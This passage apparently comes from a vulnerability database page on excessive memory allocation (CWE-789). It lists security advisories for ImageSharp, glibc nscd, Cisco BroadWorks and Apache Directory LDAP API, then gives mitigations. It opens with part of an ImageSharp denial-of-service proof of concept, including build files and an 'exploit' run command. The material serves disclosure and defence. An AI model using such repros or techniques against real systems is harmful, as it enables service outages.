Console.WriteLine($\"decoded={decoded.Width}x{decoded.Height} icc_present={decoded.Metadata.IccProfile is not null}\");\n }\n catch (Exception exception)\n {\n Console.WriteLine($\"observed_exception={exception.GetType().FullName}: {exception.Message}\");\n }\n Console.WriteLine($\"managed_bytes_allocated={GC.GetTotalAllocatedBytes(true) - before}\");\n return 0;\n }\n}\n\n```\n\nProject file:\n\n```xml\n\u003cProject Sdk=\"Microsoft.NET.Sdk\"\u003e\n \u003cPropertyGroup\u003e\n \u003cOutputType\u003eExe\u003c/OutputType\u003e\n \u003cTargetFramework\u003enet8.0\u003c/TargetFramework\u003e\n \u003cImplicitUsings\u003edisable\u003c/ImplicitUsings\u003e\n \u003cNullable\u003eenable\u003c/Nullable\u003e\n \u003c/PropertyGroup\u003e\n \u003cItemGroup\u003e\n \u003cReference Include=\"SixLabors.ImageSharp\"\u003e\n \u003cHintPath\u003e/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll\u003c/HintPath\u003e\n \u003cPrivate\u003etrue\u003c/Private\u003e\n \u003c/Reference\u003e\n \u003cReference Include=\"System.IO.Hashing\"\u003e\n \u003cHintPath\u003e/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll\u003c/HintPath\u003e\n \u003cPrivate\u003etrue\u003c/Private\u003e\n \u003c/Reference\u003e\n \u003c/ItemGroup\u003e\n\u003c/Project\u003e\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY gwg2.csproj Program.cs ./\n# Restore only to obtain the published package. The repro project then uses a\n# direct DLL reference so ImageSharp\u0027s package build target is not invoked.\nRUN printf \u0027%s\\n\u0027 \u0027\u003cProject Sdk=\"Microsoft.NET.Sdk\"\u003e\u003cPropertyGroup\u003e\u003cTargetFramework\u003enet8.0\u003c/TargetFramework\u003e\u003c/PropertyGroup\u003e\u003cItemGroup\u003e\u003cPackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /\u003e\u003c/ItemGroup\u003e\u003c/Project\u003e\u0027 \u003e fetch.csproj \\\n \u0026\u0026 dotnet restore fetch.csproj --nologo \\\n \u0026\u0026 rm fetch.csproj \\\n \u0026\u0026 dotnet build gwg2.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/gwg2.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-gwg2-poc .\ndocker run --rm imagesharp-gwg2-poc exploit\ndocker run --rm imagesharp-gwg2-poc control\n```",
"id": "GHSA-gwg2-r3hj-4w44",
"modified": "2026-10-07T20:24:19Z",
"published": "2026-10-07T20:24:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-gwg2-r3hj-4w44"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106114"
},
{
"type": "WEB",
"url": "https://github.com/SixLabors/ImageSharp/pull/3187"
},
{
"type": "WEB",
"url": "https://github.com/SixLabors/ImageSharp/commit/8de892a7623aa8a09ba2333b624c8d2eb98325df"
},
{
"type": "PACKAGE",
"url": "https://github.com/SixLabors/ImageSharp"
},
{
"type": "WEB",
"url": "https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "ImageSharp: ICC CLUT parsing allocates from unvalidated channel and grid dimensions"
}
GHSA-GWQP-9QGW-C5PV
Vulnerability from github – Published: 2026-09-11 03:30 – Updated: 2026-09-11 06:31The nscd service in the GNU C Library 2.3.4 onwards may crash due to a stack overflow when a malicious DNS server returns too large a response for a DNS query, resulting in degraded DNS resolution for the system.
Exploitation of this bug needs a system that has nscd enabled and using an untrusted DNS server for name resolution, with the compromised DNS server being capable of processing records large enough to result in a stack overflow in an nscd thread stack. During experimentation, bind 9 was unable to handle large records, but that could change in future or with a different name server. In typical installations, nscd is executed in an isolated context as its own user without a shell, due to which any compromise of that service is isolated.
There is a remote possibility of nscd cache corruption if an attacker manages to get the stack pointer into a desired point in the heap, potentially resulting in other caches in nscd being overwritten with corrupt data through the stack overflow, until the buggy code path eventually results in a crash.
Finally, a crash in nscd may result in performance degradation when resolving names, but it does not result in a denial of service.
{
"affected": [],
"aliases": [
"CVE-2026-89092"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-11T02:18:35Z",
"severity": "MODERATE"
},
"details": "The nscd service in the GNU C Library 2.3.4 onwards may crash due to a \nstack overflow when a malicious DNS server returns too large a response \nfor a DNS query, resulting in degraded DNS resolution for the system.\n\n\n\nExploitation of this bug needs a system that has nscd enabled and using \nan untrusted DNS server for name resolution, with the compromised DNS \nserver being capable of processing records large enough to result in a \nstack overflow in an nscd thread stack.\u00a0 During experimentation, bind 9 \nwas unable to handle large records, but that could change in future or \nwith a different name server.\u00a0 In typical installations, nscd is \nexecuted in an isolated context as its own user without a shell, due to \nwhich any compromise of that service is isolated.\n\n\n\nThere is a remote possibility of nscd cache corruption if an attacker \nmanages to get the stack pointer into a desired point in the heap, \npotentially resulting in other caches in nscd being overwritten with \ncorrupt data through the stack overflow, until the buggy code path \neventually results in a crash.\n\n\n\nFinally, a crash in nscd may result in performance degradation when \nresolving names, but it does not result in a denial of service.",
"id": "GHSA-gwqp-9qgw-c5pv",
"modified": "2026-09-11T06:31:12Z",
"published": "2026-09-11T03:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-89092"
},
{
"type": "WEB",
"url": "https://sourceware.org/bugzilla/show_bug.cgi?id=34624"
},
{
"type": "WEB",
"url": "https://sourceware.org/git/?p=glibc.git;a=blob_plain;f=advisories/GLIBC-SA-2026-0016"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/09/11/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-GXVQ-F5Q4-6G92
Vulnerability from github – Published: 2025-01-22 18:31 – Updated: 2025-01-22 18:31A vulnerability in the SIP processing subsystem of Cisco BroadWorks could allow an unauthenticated, remote attacker to halt the processing of incoming SIP requests, resulting in a denial of service (DoS) condition.
This vulnerability is due to improper memory handling for certain SIP requests. An attacker could exploit this vulnerability by sending a high number of SIP requests to an affected system. A successful exploit could allow the attacker to exhaust the memory that was allocated to the Cisco BroadWorks Network Servers that handle SIP traffic. If no memory is available, the Network Servers can no longer process incoming requests, resulting in a DoS condition that requires manual intervention to recover.
{
"affected": [],
"aliases": [
"CVE-2025-20165"
],
"database_specific": {
"cwe_ids": [
"CWE-476",
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-22T17:15:13Z",
"severity": "HIGH"
},
"details": "A vulnerability in the SIP processing subsystem of Cisco BroadWorks could allow an unauthenticated, remote attacker to halt the processing of incoming SIP requests, resulting in a denial of service (DoS) condition.\n\nThis vulnerability is due to improper memory handling for certain SIP requests. An attacker could exploit this vulnerability by sending a high number of SIP requests to an affected system. A successful exploit could allow the attacker to exhaust the memory that was allocated to the Cisco BroadWorks Network Servers that handle SIP traffic. If no memory is available, the Network Servers can no longer process incoming requests, resulting in a DoS condition that requires manual intervention to recover.",
"id": "GHSA-gxvq-f5q4-6g92",
"modified": "2025-01-22T18:31:56Z",
"published": "2025-01-22T18:31:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20165"
},
{
"type": "WEB",
"url": "https://blog.clamav.net/2025/01/clamav-142-and-108-security-patch.html"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-bw-sip-dos-mSySbrmt"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-clamav-ole2-H549rphA"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H24G-PJPF-8F2M
Vulnerability from github – Published: 2026-10-02 12:31 – Updated: 2026-10-05 21:31Memory allocation with excessive size value vulnerability in Apache Directory LDAP API.
A malicious peer (or a MITM) can send a small BER-encoded response causing a large memory allocation before any data is received. This can lead to an OutOfMemoryError and denial of service.
The client JVM OOMs (OutOfMemoryError bypasses the DecoderException handlers) or pins the large allocation per connection while the attacker stalls.
A handful of connections exhausts any heap. The same bytes from an unauthenticated pre-bind client hit any embedding server that did not set MAX_PDU_SIZE_ATTR.
This issue affects Apache Directory LDAP API: from 1.2.0 before 1.2.9.
Users are recommended to upgrade to version 1.2.9, which fixes the issue.
{
"affected": [],
"aliases": [
"CVE-2026-102731"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-02T10:17:04Z",
"severity": "HIGH"
},
"details": "Memory allocation with excessive size value vulnerability in Apache Directory LDAP API.\n\n\n\nA malicious peer (or a MITM) can send a small BER-encoded response causing a large memory allocation before any data is received. This can lead to an OutOfMemoryError and denial of service.\n\n\n\nThe client JVM OOMs (OutOfMemoryError bypasses the DecoderException handlers) or pins the large allocation per connection while the attacker stalls.\n\n\n\nA handful of connections exhausts any heap. The same bytes from an unauthenticated pre-bind client hit any embedding server that did not set MAX_PDU_SIZE_ATTR.\n\n\n\nThis issue affects Apache Directory LDAP API: from 1.2.0 before 1.2.9.\n\n\n\nUsers are recommended to upgrade to version 1.2.9, which fixes the issue.",
"id": "GHSA-h24g-pjpf-8f2m",
"modified": "2026-10-05T21:31:33Z",
"published": "2026-10-02T12:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102731"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/b8kg8881pc0v8lp59w0fcfrs69wjbqvd"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/10/02/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.
Mitigation
Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.
No CAPEC attack patterns related to this CWE.